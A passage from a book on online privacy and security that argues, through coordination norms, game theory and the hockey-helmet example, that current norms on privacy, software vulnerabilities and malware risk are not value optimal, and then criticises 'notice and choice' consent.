many: It is foolish not to wear a helmet. But I don’t—because the other 
guys don’t. I know that’s silly, but most of the other players feel the same
way.”1 In light of the sanctions, each player thought he ought to conform 
by not wearing a helmet. As a result, it remained normal not to wear a 
helmet until 1979, when the league required all players to wear helmets.
* 	 A situation is Pareto optimal when and only when it is not possible to improve the well-being of 
any one person without making others worse off. 
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Despite its persistence, this no-helmet norm was not value optimal. There
was an alternative the players regarded as far better justified: All players 
wear helmets. 
Why Does Value Optimality Matter? 
The hockey helmet example shows why value optimality matters. The
no-helmet norm defined a trade-off between the risk of head injury, on
the one hand, and peripheral vision and appearing tough, on the other.
When they conformed to the norm, the players accepted this trade-off— 
even though they regarded another norm (all players wear helmets) and
another trade-off (reduced risk of head injury) as far better justified. This 
is why value optimality matters: Conformity to a norm that lacks value 
optimality means acting contrary to our values. Contrast conformity to 
a value optimal norm: Acting in accord with the norm means acting in
accord with our values—indeed, no alternative is better justified. 
A Terminological Point and an Example 
We need to extend our value optimal terminology. So far we have
described norms as value optimal. The coordination norms with which 
we will be concerned define trade-offs among competing desirable out­
comes, such as not feeling crowded and getting to use the elevator right 
away. It will be convenient to extend our talk of value optimality to the
trade-offs. A trade-off is value optimal when and only when it is at least 
as well justified as an alternative trade-off. Value optimal norms define 
value optimal trade-offs. 
We Are “Playing without a Helmet” 
We currently “play without a helmet” in regard to privacy, software, mal­
ware, and network attacks. We are trapped in conformity to coordination
norms that lack value optimality, and because of that, we bear risks we
ought not to bear. The chapters that follow argue specifically for the fol­
lowing claims: 
Privacy: The relevant coordination norms are informational norms.
Informational norms govern the collection, use, and distribution of
personal information. The problem is that technological advances
have so greatly increased the power and breadth of role-appropriate 
information processing that many norms are no longer value opti­
mal; alternatives in which consumers have more control are better 
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justified. The consequence is an unacceptable loss of control over 
personal information. 
Software vulnerabilities: A vulnerability is a property of software that
could be exploited to gain unauthorized access. The relevant coordi­
nation norms are product-risk norms. Product-risk norms allocate
the risk of loss from using products between sellers, in this case soft­
ware developers, and buyers. The current product-risk norm in regard
to software vulnerabilities is that buyers bear the risk of unauthorized
access due to software vulnerabilities. The norm is not value optimal 
because developers ought to bear that risk to a considerable extent. 
Malware: The relevant norms are service-risk norms. Service-risk
norms allocate the risk of loss between the client receiving a service 
and the business providing it. The current norms allocate the risk of
unauthorized access due to malware almost entirely to the clients of
Internet businesses and Internet service providers. The norms are 
not value optimal because the service providers should bear a sig­
nificant part of that risk. 
Network attacks: The relevant norms are all product-risk norms and 
service-risk norms. The combined effect of these norms is to assign a
significant amount of the risk of unauthorized access from a network
attack to the network. The norms are not value optimal in this con­
text because the risk ought to be borne in significant part by software
developers (where the risk is due to software vulnerabilities) and by
other Internet businesses and Internet service providers (where the 
risk is due to malware). 
Inappropriate Norms versus No Norms 
The problems we have just sketched are all cases of norms that exist but 
are not value optimal. When we consider privacy in detail, we will also 
discuss several cases in which rapid advances in technology have created 
situations where we lack relevant norms altogether. We consider three
examples in Chapter 5: cloud computing, social networking sites, and cer­
tain uses of cookies. The solution we propose is the same in all three cases:
Create new norms. 
Our approach rests on a general view of the role of coordination norms 
in markets. In Chapters 4, 5, 11, and 12, we argue that such norms do
and should constrain businesses’ data collection in consumer/business 
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transactions. In Chapters 6 and 7, we discuss mass-market software prod­
ucts in the context of product-risk norms that allocate the risk of using 
products between sellers and buyers. In Chapters 9 and 10, we argue against 
the current service-risk norm that governs the provision of Internet access
by an Internet service provider (ISP). The norm allocates the risk of inva­
sion from viruses, worms, Trojans, and other forms of malicious software 
largely to the ISP’s clients. 
NORMS AND MARKETS 
Mass markets pose a problem for buyers. Mass-market sellers offer prod­
ucts and services only in response to demand for them from sufficiently
large groups of buyers. How do buyers speak with a sufficiently unified 
voice to sellers? And how do they make sure that the unified demand
articulates values actually widely shared among the group of buyers? 
Privacy is a good example. 
Collecting and processing information offers many advantages, includ­
ing better customer service with greater personalization, more effective
business planning and marketing, greater efficiency (which may result in
lower prices), and better security. The trade-off consumers get is deter­
mined in large part by the decisions businesses make about how to collect,
use, and distribute information. Will mass-market sellers make choices
that result in a value optimal trade-off? That is unlikely unless most con­
sumers demand such a trade-off. Mass-market sellers respond only to a 
sufficiently large demand.* The less consumers speak with a unified voice
about privacy, the more likely it is that a business will impose a one-sided
trade-off that favors what it values instead of adequately balancing privacy 
concerns against the business advantages of collecting information. 
Coordination norms solve the problem of buyers unifying their 
demands in ways that accord with their shared values. They do, that is, 
when the norms are value optimal. As we argue in the following chapters, 
value optimal norms enable consumers to speak with a unified voice about
privacy and risk allocation in regard to software and in regard to defense 
against malicious software. Things go wrong when norms are not value 
optimal, and such cases constitute our primary concern in the chapters 
that follow. 
* 	 For a large enough mass market of buyers, it might be possible to have a small number of different
points at which demand is unified simultaneously. 
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But aren’t we ignoring another obvious problem? The parties to the 
coordination norms are buyers.* They coordinate to realize their shared 
interest in products and services that conform to their values. Don’t these 
buyer-only norms make buyers easy targets for exploitation? Norm-
conforming buyers typically simply assume norm-conforming behavior 
on the part of sellers. When the typical buyer purchases a product, for 
example, the buyer does not investigate that product in any detail but sim­
ply takes it for granted that it does not impose any unreasonable risks 
arising from its design and manufacture. So why won’t sellers exploit that 
fact to sell products that do impose such risks when doing so maximizes 
profits? What keeps sellers from exploiting norm-conforming buyers? 
Our answer is that, as long as the coordination norms are value opti­
mal, the profit-maximizing strategy for businesses is to offer norm-con­
sistent products and services. We begin with a summary of the argument: 
(1) when a business violates a norm, typically, some buyers will notice; 
(2) consumers who detect a norm violation will not, other things being 
equal, buy from norm-inconsistent businesses; (3) businesses are unable 
to discriminate between those consumers who will and those who will 
not detect a norm inconsistency; and, therefore, (4) the profit-maximizing 
strategy is for businesses to conform. 
We will—as we just did in the preceding summary—describe sellers as 
conforming to norms. It is very convenient to do so, but it means that we 
are using “conform to a norm” with two meanings—one for buyers and 
one for sellers. When we describe buyers as conforming, we will mean   
that they act in the norm-required way because they think they ought to in 
order to realized the shared interest associated with the norm. Sellers are 
not parties to buyer-only norms and do not conform to them in this sense. 
When we describe a seller as conforming, we will mean it offers a product 
or service that meets the requirements of the norm. 
Detecting Norm Violations 
Why think that, when a business acts in a norm-inconsistent way, at least 
some buyers will notice the inconsistency? Awareness of norm-inconsis­
tent behavior can come from news reports, magazine articles, books, con­
sumer watchdog groups, negative publicity from consumer complaints, 
* 	 It is possible to represent norms as buyer–seller coordination norms; however, it is simpler and 
more elegant to model them as norms to which the only parties are buyers. The buyer–seller rep­
resentation would not avoid the problem we raise here. 
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and litigation. The scrutiny is sufficient to ensure that typically some buy­
ers will notice norm-inconsistent behavior. How many is “some”? That 
turns out to be the critical question, but it is best to put it off for a bit. 
Norm-Violation Detectors versus Norm-Inconsistent Sellers 
When buyers detect norm-inconsistent sellers, they will not—other things 
being equal—buy from them. The reason is that a norm is a regularity to 
which one thinks everyone ought to conform. Norm-violation detectors will
perceive that a norm-inconsistent seller is not treating them as they ought 
to be treated. Buyers will of course prefer to purchase from sellers that  
they perceive as treating them properly—assuming there are some norm-
consistent sellers to which they may turn. 
Sellers’ Inability to Discriminate 
If sellers could reliably distinguish between buyers who will and those 
who will not detect a norm inconsistency, then sellers could follow norms 
for only those buyers who would detect violations of norms. Sellers can in
some cases spot those buyers that are likely to detect violations of norms.
They can easily identify repeat customers who have objected to violations 
in the past, and it would not take too much research to identify a cus­
tomer as, for example, the president of a consumer protection group like 
Consumer Reports. Such cases aside, when you walk into a retail store or
order an item over the phone or online, nothing reliably signals whether 
you will detect norm-inconsistent behavior. 
The Profit-Maximizing Strategy 
Assume that sellers cannot identify norm-inconsistency detectors. The
crucial question is, how many buyers detect norm-inconsistent sellers?
Buyers who detect inconsistent sellers won’t buy from those sellers, so if
enough of them detect inconsistencies, the lost profit will be greater than
any gain from the norm-inconsistent behavior. That will make conform­
ing to norms the profit-maximizing strategy, and rational, profit-motive­
driven sellers will conform for that reason. So when will there be enough
buyers who detect norm-inconsistent sellers? 
We answer that question in two steps. We define an ideal situation in
which the existence of enough buyers is guaranteed, and then we argue 
that, at least in some important cases, reality more or less closely approxi­
mates that ideal. The ideal is perfect competition. 
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Perfect Competition 
Perfect competition is a standard economic concept, but there are a variety 
of definitions that differ in the details. Our definition is one of the standard
ones.2 Competition is perfect when and only when six conditions hold:
 1. Profit-motive-driven sellers: Businesses seek to maximize profit.
 2. Lack of market power: Neither sellers nor buyers can individually 
control the price or determine the features of a product or service. 
Definitions often substitute the requirement that there be a large 
number of sellers and buyers; the point, however, is to make the mar­
ket’s size sufficient to ensure that no one seller or buyer has the power 
to set prices and determine features.
 3. Similar products: Sellers sell similar products and services. This is
typically stated as “sellers sell homogeneous products and services.”
The products and services we consider will be homogeneous in the
sense that they will be of the same kind—for example, software or 
Internet connectivity.
 4. No barriers to entry or exit: There are no barriers (in terms of cost, 
technology, or otherwise) to sellers entering or exiting the market.
 5. Zero transactions costs: A typical formulation of this requirement is
that buyers can switch from one seller to another without incurring 
any cost.
 6. Perfect information: The perfect information requirement takes 
various forms. Minimally, buyers and sellers know all prices. Most 
generally, both buyers and sellers know everything relevant to their
production and consumption decisions. We will use this broader 
understanding, and we will often make it more concrete by specify­
ing the knowledge we are regarding as relevant for particular prod­
ucts and services we discuss. Some definitions of perfect competition
omit any mention of perfect information. We include it in our defini­
tion because appeals to perfect information (and real-world approxi­
mations to it) play a central explanatory role for us. 
We introduced the concept of perfect competition as part of our argu­
ment that, in perfect markets with value optimal norms, norm-inconsis­
tent sellers lose more than they make. The reason is that buyers who detect
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norm-inconsistent sellers will refuse to buy from them, and enough buy­
ers will do that to make the lost profit greater than any gain from the 
norm-inconsistent behavior. Why is this true? 
Perfect Competition or Close to It Will Force Sellers’ Compliance 
Start with perfect information. It guarantees that every buyer knows 
whether any given seller conforms to the norm or not. Norm-inconsistent 
sellers violate a value optimal norm and thus flaunt buyers’ values. Buyers 
prefer to buy products and services consistent with their values. The zero
transactions costs assumption ensures that buyers can switch to norm-
conforming sellers without cost and so they will—if such sellers exist. And 
they will. 
Perfect information ensures sellers know buyers will switch from norm-
inconsistent to norm-conforming sellers. Profit-motive-driven sellers who 
did not already offer norm-consistent products and services will do so. 
Lack of barriers to entry and exit guarantees that doing so is costless, and 
lack of market power guarantees that no one can prevent a seller from
doing so. Offering norm-consistent products and services is the profit-
maximizing strategy, and eventually all sellers pursue that strategy. This is
what happens in perfect markets, but perfect competition is an ideal that
actual markets at best approximate. So what happens in real markets? 
Real markets are not perfect markets, but as long as they approximate 
perfect markets fairly closely, we can generally expect similar behavior. 
However, there are various ways that real markets can fail to mimic the 
behavior of perfect markets with respect to privacy and security. In par­
ticular, a lack of value optimal norms can cause actual markets to fall
short of perfect competition and, furthermore, to do so in ways that cre­
ate unacceptable consequences. The solution, we contend, is to create the 
relevant, value optimal norms. 
We will return to this type of argument a number of times in the fol­
lowing chapters. At this point, we have completed our basic discussion of
norms and markets. We conclude with a brief look at game theory. 
NORMS AND GAME THEORY 
Our notion of a coordination norm has strong connections to the notion of a
coordination game in game theory. This section is not essential to our argu­
ment, and readers with no taste for technical details may wish to skip the
discussion. However, examining the connections with coordination games
sheds important light on our use of the notion of a value optimal norm. 
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FIGURE 3.1 Payoffs for rock–paper–scissors. 
By a game, we mean a game in which everybody has complete infor­
mation about the situation and everybody moves simultaneously. Rock– 
paper–scissors is an example. Two players simultaneously show a hand
signal for one of rock, paper, or scissors; the winner is determined accord­
ing to the rules: “Rock breaks scissors; scissors cut paper; paper covers 
rock.” It is traditional to show a two-player game’s outcomes in a two-
dimensional table, with one player’s choices being the rows and the other 
player’s choices being the columns. 
For rock–paper–scissors, we have Figure 3.1. Each cell of the table in
this figure gives the outcome for the corresponding choices of row and 
column, with the number in the lower left telling what the row chooser 
receives and the number in the upper right telling what the column
chooser receives. We call these the payoffs. Let us say that the payoff to a 
player will be 0 for a tie, +1 unit for a win, and –1 unit for a loss. 
Thus, if both players make the same choice, then the game is a tie, and 
each player gets 0, so the table has a pair of 0s in the corresponding entry.
Compare the case in which the row chooser picks rock and the column
chooser scissors; the rules say the row chooser is the winner (“rock breaks
scissors”), so the entry in the cell of the table that is in the rock row and 
scissors column has +1 for the row chooser in the lower left and –1 for the 
column chooser in the upper right. 
Coordination Problems 
Game theory is most well known for modeling games of pure conflict, such 
as rock–paper–scissors. Such games are often called zero-sum games,
because whatever one player wins, the other loses, and their combined 
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FIGURE 3.2 Driving game (a coordination game). 
winnings add to zero. However, game theory can equally well describe 
games of perfect cooperation, called coordination games, such as choos­
ing which side of the road to drive on. 
To keep things simple, we describe the driving game for only two play­
ers, each of whom chooses which side of the road to drive on: either left or
right. For this game, the payoff is +10 to each player if they both drive on
the same side of the road, and 0 otherwise. We show the payoffs in table 
form in Figure 3.2. 
Observe that the payoffs of the driving game are exactly those for a coor­
dination norm: Each player prefers right as long as the other player chooses 
right, and each player prefers left as long as the other player chooses left. In
fact, both “drive on right” and “drive on left” are coordination norms in
the game; in practice, right is the norm in the United States and Canada 
(among other places), and left is the norm in England and Australia. 
As a first approximation, let us say a game is a coordination game if
(1) there are at least two different actions, and (2) when a player chooses 
an action, she prefers that action to all others as long as everybody else 
chooses that action. For example, in the driving game, left and right are 
the two actions that show that the driving game is a coordination game. 
Each player prefers left, as long as everyone else chooses left, and prefers 
right as long as everyone else chooses right. The “prefers as long as every­
one else does” in the definition of a coordination game parallels the “think
one ought to conform as long as everyone else does” in the definition of a
coordination norm. 
Not all coordination games are as simple as the driving game. As a sec­
ond example, we revisit the case of hockey helmets. We assume that the 
hockey players preferred, all other things being equal, having the protec­
tion of wearing a helmet to playing without a helmet. However, we also 
assume that players preferred having the small advantage in games from


























70  ◾ Unauthorized Access: The Crisis in Online Privacy and Security 
FIGURE 3.3 Hockey helmet game (another coordination game). 
playing helmetless against helmeted opponents to playing an even game
and greatly preferred playing an even game to playing at a small disadvan­
tage. In such a case the payoffs might be as shown in Figure 3.3. 
Again, this game has two possible ways for the players to choose the 
same action: one where everybody wears a helmet and one where every­
body plays helmetless. Consider first the row chooser in the hockey helmet
game. If he believes the other player is going to wear a helmet, then the row 
chooser is going to get one of the payoffs from the left column of the table 
in Figure 3.3. So the row chooser’s payoff will be 10 for choosing helmet, 
but only 5 for choosing helmetless. Thus, he wants to choose helmet as
long as everybody else does. On the other hand, if the row chooser believes
the column chooser will choose helmetless, then the payoff is going to
be one of the payoffs from the right column of the table in Figure 3.3. In
this case, the row chooser’s payoff will be 0 for choosing helmet and 3 
for choosing helmetless. Since 3 is better than 0, the row chooser wants
to choose helmetless—as long as everybody else does. The same analysis
holds for the column chooser: The column chooser will prefer helmet as
long as everybody else chooses helmet, and will prefer helmetless as long 
as everybody else chooses helmetless. 
Equilibria 
In the driving game and the hockey helmet game, it can happen that (1) 
the players choose the same action (right or helmet, for example), and (2) 
each prefers that choice as long as the other also chooses it. Game theory
has a technical term for such situations: a Nash equilibrium.* 
Let’s call the rule a player uses to choose his move his strategy. For our
purposes, we need to consider only pure strategies consisting of single
* 	 Named after its inventor, John Nash, who received the Nobel Prize in economics for this work and 
was the subject of the movie A Beautiful Mind. 
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action rules like “choose rock” or “choose scissors,” though in general 
mixed strategies, such as “choose rock with probability 25 percent, paper 
with probability 25 percent, and scissors with probability 50 percent,”
would also be allowed. We call a list containing one strategy for each player
a strategy profile. So if Alice and Bob are playing rock–paper–scissors, 
and Alice’s strategy is “choose scissors” and Bob’s is “choose rock,” then 
the strategy profile would be “Alice, choose scissors; Bob, choose rock.” 
A strategy profile is a Nash equilibrium if each player, knowing the 
strategies of all other players, prefers his own strategy to any other possible
strategy. From now on, we will often drop the “Nash” and use the term
“equilibrium” to mean a Nash equilibrium. In the driving game, there are 
two equilibria: both players choosing left and both players choosing right.
After all, in that game, each player wants to drive on the same side of the
road as the other players. That is, if the row chooser knows that the col­
umn chooser is picking right, then the row chooser will be better off (get 
a higher payoff) picking right, and if the column chooser knows that the 
row chooser is picking right, then the column chooser will be better off 
picking right. The same argument holds for left, and the same argument
holds for both helmet and helmetless for the hockey helmet game. 
The general importance of Nash equilibria is that they are equilibria in
the dictionary sense of being in a steady state. Rational players who have
correct expectations about one another’s strategies will always choose (the
same) equilibrium strategy profile. 
Equilibria also allow us to make our definition of a coordination game
precise. A game is a coordination game if it has at least two different equi­
libria, where both players choose the same action, and no equilibria with
players choosing different actions. Thus, both driving and hockey helmets 
are coordination games. 
Rock–paper–scissors is an example of a game that is not a coordination
game. Indeed, it has no equilibria with pure strategies. For instance, if the 
row chooser picks rock, then the column chooser would be best off pick­
ing paper; however, in that case, the row chooser would be best off picking 
scissors, and so on without ever settling down. (Rock–paper–scissors does 
have an equilibrium using mixed strategies. That equilibrium occurs if
each player picks one of rock, paper, or scissors randomly.) 
Value Optimality 
Let’s think some more about the all-helmetless strategy profile for the 
hockey helmet game. Our earlier discussion shows that this strategy profile











    
 1. The remark is reported in T. C. Schelling. 1973. Hockey helmets, concealed 
weapons, and daylight saving: A study of binary choices with externalities. 
Journal of Conflict Resolution 17 (3): 381. This work appears to be the source 
of this well known hockey-helmet example. 
 2. There is a good discussion of the various definitions in Scott A. Beaulier 
and William Stewart Mounts, Jr. 2008. Asymmetric information about 
perfect competition: The treatment of perfect information in introduc­
tory economics textbooks, September 2008, www.scottbeaulier.com/ 
Information_Version_2.doc 
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is an equilibrium, because each player is better off choosing helmetless as
long as the other player chooses helmetless. However, the all-helmetless 
strategy profile is clearly worse—for both players—than the all-helmet
strategy profile. Something is wrong with the all-helmetless strategy profile. 
What is wrong, roughly speaking, is that it is an equilibrium that is not 
value optimal. We defined “value optimal” for norms in terms of “being 
at least as well justified as any alternative.” Game theorists, however, do 
not think in terms of justifications, but rather in terms of maximizing 
payoffs. So let us define an equilibrium in a coordination game to be value 
optimal if it is at least as good as far as maximizing payoffs goes as every
other equilibrium. There is a technical point that will not much concern 
us here: There are a few different possible definitions of one equilibrium 
being better at maximizing payoffs than another. For instance, it is not
clear if an outcome giving each of two players 6 is better or worse than an
outcome giving one player 3 and another 10. However, under any reason­
able definition, the outcome for the helmet–helmet strategy profile, where 
both players get 10, is better than the outcome for the helmetless–helmet­
less strategy profile, where both players get 3. 
Later we will argue that the hockey helmet game corresponds to a 
number of important current issues in online security and privacy. One 
example is buyers’ choices in buying vulnerability-ridden software, with
the helmetless action corresponding to settling for flawed software and 
the helmet action corresponding to demanding higher quality software. 
These situations present a difficult problem for policy makers: If, in
terms of the hockey helmet game, everybody in the league is playing hel­
metless, then how do we move from that norm, which is not value optimal, 
to the norm that is value optimal? The difficulty is that the non-value opti­
mal norm is an equilibrium, in both the technical and dictionary senses
of equilibrium. 
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The General Theory 
INTRODUCTION
 
Imagine your life as a line of dots representing events. Now imagine that
every event about which some organization records personal information 
is colored red and that all the other dots are blue. How much of your life’s 
line is red? A lot—and more all the time. Advances in information pro­
cessing technology give others considerable power to collect, analyze, and
distribute personal information, and “it has become increasingly rare to
deal with any governmental or private-sector organization without gen­
erating and relying upon a database of personal information.”1 The con­
sequence is a loss of informational privacy, which concerns our control 
over our information. As Alan Westin puts it in his 1967 classic, Privacy
and Freedom (the first book on modern consumer privacy issues), it is “the
claim of individuals, groups, or institutions to determine for themselves
when, how, and to what extent information about them is communicated 
to others.”2 Today, the lines of our lives are increasingly red. The degree 
of control over our personal information that we once had has vanished. 
Privacy advocates sound the alarm. Privacy, they remind us, is essential
to intimacy, friendship, individuality, human relationships, freedom, self-
development, imagination, eccentricity, creativity, independence, democ­
racy, reputation, and psychological well-being.3 The diversity of concerns
reflects the remarkably broad control others now have over our personal
information. Mass surveillance is a hallmark of the times. Moreover,
75 
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today’s surveillance includes much more than the Orwellian vision of
a government using surveillance devices (cameras, microphones, etc.).
Today it is routine for businesses to harvest information systematically 
to differentiate among individuals and to determine how to treat each of
them. Our question is how we should limit this sort of mass surveillance
by retailers, information brokers, health care providers, and hoards of
other private organizations. 
To limit is not to eliminate. Eliminating mass surveillance by busi­
nesses would mean forgoing its numerous benefits, including improved 
efficiency, credit availability, security, transparency, improved customer 
relationships, and also the ability to facilitate a variety of business interac­
tions by processing payments electronically. Unless we want to forgo these 
benefits completely—and virtually no one does—we need to decide how 
much privacy to keep and how much to give up. 
PERSONALLY IDENTIFIABLE: A DISTINCTION 
WITHOUT (MUCH OF) A DIFFERENCE 
Many think one key to solving this puzzle is to distinguish between person­
ally identifiable information* and information that is not personally iden­
tifiable. Personally identifiable information can be used to uniquely identify 
(or contact, or locate) an individual. For example, the name “James Smith” 
is by itself not personally identifiable information, whereas James Smith 
together with James’s address of 123 North Park Ave, Greenville, Illinois, is. 
That distinction suggests a much more restrictive definition of informa­
tional privacy than Alan Westin’s. We, like Westin, believe informational 
privacy is a matter of control over information. Information you divulge 
may be personally identifiable or not. Informational privacy concerns 
could instead center primarily on personally identifiable information. 
Society could give businesses a relatively free hand to collect and process 
nonpersonally identifiable information, but impose restrictions on how 
businesses collect and use personally identifiable information. To increase 
the amount of information they analyze, businesses could turn personally 
identifiable information into nonpersonally identifiable information by 
removing identifying references. Wouldn’t this be a good way to protect 
privacy while also reaping the benefits of increased information process­
ing? We do not deny that distinguishing between information that is, and 
is not, personally identifiable can be a useful tool. But we do not think that 
* Personally identifiable information is often abbreviated PII. 
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it should play a foundational role in a general approach to finding proper
trade-offs between protecting informational privacy and garnering the 
benefits of modern information processing. We have three reasons. 
First, it is not at all clear how to distinguish between personally identifi­
able information and nonpersonally identifiable information. A business
cannot simply turn personally identifiable information into nonperson-
ally identifiable information by removing identifying references (although
businesses do in practice often remove features from data sets that trig­
ger current statutory definitions of personally identifiable information).* 
Modern “deanonymization” algorithms are so powerful that businesses 
can start with information that contains no identifying references to indi­
viduals and still uniquely identify the people who are the subjects of the 
information. Worse yet, you don’t need much information to make the 
identification.† This makes almost all information personally identifiable. 
Personally identifiable information, after all, is information from which it
is possible to uniquely identify a person. Since our economy and culture 
now depend on a rich transfer of information, no one seriously proposes
significantly restricting access to almost all information. 
Second, privacy laws often address the problem of defining personally 
identifiable information by simply listing types of information that the law 
counts as personally identifiable. A typical approach is to define person­
ally identifiable information as a first name or first initial and last name in
combination with, for example, a social security number, driver’s license 
number or identification card number, credit card number, or debit card
number. Businesses have responded by building customer profiles that
omit what the law classifies as personally identifiable information but that
are still sufficient to direct advertising to individually identified recipients. 
Third, advertising routinely uses personally identifiable information. 
As we discuss in Chapters 5 and 12, advertising often targets specific indi­
viduals. This has long been true of traditional direct marketing, and it is
* 	 Statutes frequently define personally identifiable information as the first name or first initial and 
last name in combination with any one or more of the following data elements, when the name and 
the data elements are not encrypted: Social Security number; driver’s license number or identifi­
cation card number; account number, credit card number or debit card number, in combination 
with any required security code, access code, or password that would permit access to the person’s
financial account. There is, however, considerable variation by state and within a state among dif­
ferent statutes. Businesses can comply with statutory requirements by removing the designated
types of information, but still retain enough information to identify individuals personally. 
† 	 We discussed the example of the deanonymization of the Governor of Massachusetts’s medical 
records in Chapter 2. 
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clearly true of much of contemporary online advertising. Online advertis­
ing agencies sell their services to businesses by emphasizing their ability 
to uniquely identify individuals. Some hope to curtail advertisers’ massive
use of personally identifiable information,4 but, as we argue in Chapter 12, 
there is not much chance of getting that genie back into the bottle. 
We think a realistic approach to protecting privacy must find a way to
balance privacy concerns against the benefits of surveillance regardless of
whether any given piece of information can uniquely identify an individual. 
THE REQUIREMENT OF FREE AND INFORMED CONSENT 
We need to balance the value of privacy against the benefits of surveil­
lance, but that is not all we need to do. We must also ensure that people
give their free and informed consent when they grant businesses some use 
of their information. Informational privacy is the ability to determine for 
yourself when others may collect and use any of your personal information 
for any purpose. To determine this for yourself you must give consent— 
free and informed consent—to how others process your information. 
This is why there is widespread agreement that consent is essential to
informational privacy. The Federal Trade Commission Fair Information 
Practice Principles, for example, require entities that collect and use 
personal information to give notice and then receive consent from con­
sumers.5 Notice is the first of the five core principles, and consent is the 
second. In particular, the principles emphasize that “[t]he most funda­
mental principle is notice. Consumers should be given notice of an entity’s
information practices before any personal information is collected from
them.”6 Further, the second “core principle of fair information practice
is consumer choice or consent…giving consumers options as to how any 
personal information collected from them may be used.”7 These principles
have greatly influenced the development of privacy laws in the United 
States and worldwide.* 
How are we to balance the benefits of information processing against 
the value of informational privacy and, at the same time, ensure informed 
consent to the use of private information? Many find the answer obvious: 
require businesses to obtain informed consent before they use personal
information. The answer appears attractive. Think of the overall pattern 
of giving or withholding consent. Wouldn’t that draw the line between
* 	 Interestingly, although these principles were originally developed by the US government in the 
1970s, they have probably had even greater influence in Europe than in the United States. 
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permissible and impermissible uses of personal information? And,
wouldn’t that line define the trade-off between the benefits of process­
ing information and the need to protect informational privacy? Maybe. It
depends on precisely what is meant by consent. In 2002 in the case i.Lan
Systems v. Netscout, a federal district court judge aptly captured how con­
sumers currently consent to the purchase of standardized goods and ser­
vices. The court asks, 
Has this happened to you? You plunk down a pretty penny for the
latest and greatest software, speed back to your computer, tear open
the box, shove the CD-ROM into the computer, click on “install”
and, after scrolling past a license agreement which would take at least
fifteen minutes to read, find yourself staring at the following dialog
box: “I agree.” Do you click on the box? You probably do not agree
in your heart of hearts, but you click anyway, not about to let some
pesky legalese delay the moment for which you’ve been waiting.8 
Today, the same remarks apply online. We use websites without stop­
ping to read the “pesky legalese” in privacy policies and terms-of-use 
agreements before we click on an “I agree” button (if there happens to be 
one at all). 
The practice goes by the name “notice and choice.” The “notice” is the
presentation of terms, typically in a privacy policy or a terms-of-use agree­
ment; the “choice” is an action, typically using the site or clicking on an “I
agree” button, which is interpreted as the acceptance of the terms. Notice
and choice is the dominant paradigm for consent online, even though
there is widespread agreement that notice and choice fails to secure free 
and informed consent, and that its flaws run so deep that the paradigm
may be beyond repair.9 We review the problems with notice and choice 
and then offer an alternative. 
PROBLEMS WITH NOTICE AND CHOICE 
Our critique of notice and choice focuses on problems about ensuring that
consent is informed; however, before we begin we should note that the 
“choice”—that is, a user’s action—need not be a sign of free consent. As the 
court in i.Lan says, “Do you click on the [“I agree”] box? You probably do
not agree in your heart of hearts, but you click anyway.” We develop this
point in detail in Chapters 11 and 12, in which we argue that our consent 
to businesses’ data collection practices is far from free. 
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Notice and Choice Does Not Ensure Informed Consent 
Notice and choice does not ensure consent because consumers do not read
contracts or privacy policies. “[P]rocessing privacy notices is a cost that
most consumers apparently do not believe is worth incurring. The per­
ceived benefits are simply too low.”10 There is good reason for consumers 
to adopt this attitude. Reading and understanding a privacy notice require 
reading and understanding a considerable amount of information, some
of which is couched in legalese. For example, at the time of this writing,
downloads of Adobe Reader are governed by an eight-page, single-spaced 
license agreement. Reading this document requires a significant amount
of time, and reading with full understanding is simply beyond the capac­
ity of those without the relevant legal knowledge. Furthermore, almost all 
the terms of these and similar documents specify that they can be changed 
at any time for any reason, thus making periodic rereading necessary to
know what the current version states. 
Notice and Choice Cannot Possibly Ensure Informed Consent 
Even if consumers did read and understand privacy notices, they would not
obtain all the information necessary to give informed consent. Information
collected on one occasion for one purpose is typically retained, analyzed, 
and distributed for a variety of other purposes in unpredictable ways. The
information we give out is aggregated in massive stores of information,
and when businesses analyze the aggregated information, they can learn 
far more about a person’s life than any one piece of information reveals. To
give actual informed consent to disclosing some particular bit of informa­
tion, a consumer would need to know what conclusions follow from add­
ing that bit to the aggregate and how it will be used. Since the information 
is stored for a long time, that would require predicting what future infor­
mation analysis techniques will reveal, as well as the yet-to-be-discovered 
future purposes to which that information could be put. The predictive
task is impossible.* 
* 	 The advent of big data makes the problem even more severe. “Big data” refers to an explosion in
our ability to store and use information. Recent advances in information processing technology
have made it possible to store, analyze, and use petabytes of information. It would take 50 million 
four-drawer file cabinets full of text to store one petabyte of information. It is now common for 
databases to store 10–20 petabytes of information. In the big data world, all sorts of information is
stored for a very long time, to be analyzed and used in unpredictable ways. 










   






Informational Privacy: The General Theory  ◾ 81
Notice and Choice Aims at the Wrong Target 
Grant, for the sake of argument, that consumers could obtain and under­
stand all the relevant information and thus give informed consent. Then 
the overall pattern of consent would determine a trade-off between pri­
vacy and competing concerns. But this is not the target we want to hit.
It wouldn’t yield the trade-off we want. We want a value optimal trade-
off, one at least as well justified as any alternative, and it is unlikely that
informed consent alone will give us that. An analogy shows why. 
Until quite recently, telephone books very usefully facilitated commu­
nication—the more numbers they contained, the more useful they were.
Suppose, as seems likely enough, that most of us preferred telephone  
books with most other people’s numbers in them, and that most of us also
preferred not to have our own numbers listed. If consent were required 
before a number could be listed, then reasonably comprehensive telephone
books would not have existed, and we would have lost a tool that most of
us preferred. Similar suboptimal results will occur for informational pri­
vacy trade-offs in general as long as the following “have your cake and eat
it too” attitude prevails: 
1. Almost everyone prefers the benefits that accrue when businesses
process everyone else’s personal information. 
2. Almost everyone prefers not to have his or her own personal infor­
mation processed, even when the processing is subject to privacy 
constraints. 
Thus, even a truly free and informed consent, much less notice and choice,
would not lead to an optimal balance between informational privacy and 
the benefits of information processing. 
The telephone book example is, of course, made up, but there are real-
life examples. Two frequently cited ones are credit reporting and medical 
research. Businesses report both positive and negative credit informa­
tion to consumer credit rating companies like Equifax and Experian. 
Consumers do not have a choice about whether a creditor reports their 
information; the creditor makes that choice. Reporting both positive and
negative information means the companies can make a reasonably accu­
rate assessment of a consumer’s credit worthiness. Consumers benefit
because they get a variety of different types of credit more quickly with
less paperwork. Society benefits from the efficient and accurate extension 
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of credit. The system would not work as well if consumers chose which 
information to report. Those with bad credit would most likely choose not
to report negative information, and the accuracy and comprehensiveness
of consumer credit ratings would seriously decline. 
Similar remarks hold for health care research. Some patients used to
take both the widely used antidepressant, Paxil, and the popular anticho­
lesterol drug, Pravachol. One side effect of this combination is diabetic
levels of blood glucose. Researchers discovered this by searching anony­
mized Bing search logs for users who searched a combination of “Paxil,”
“Pravachol,” and certain terms indicative of the symptoms of high glucose 
levels. How many users would have answered “I agree” to “May medical 
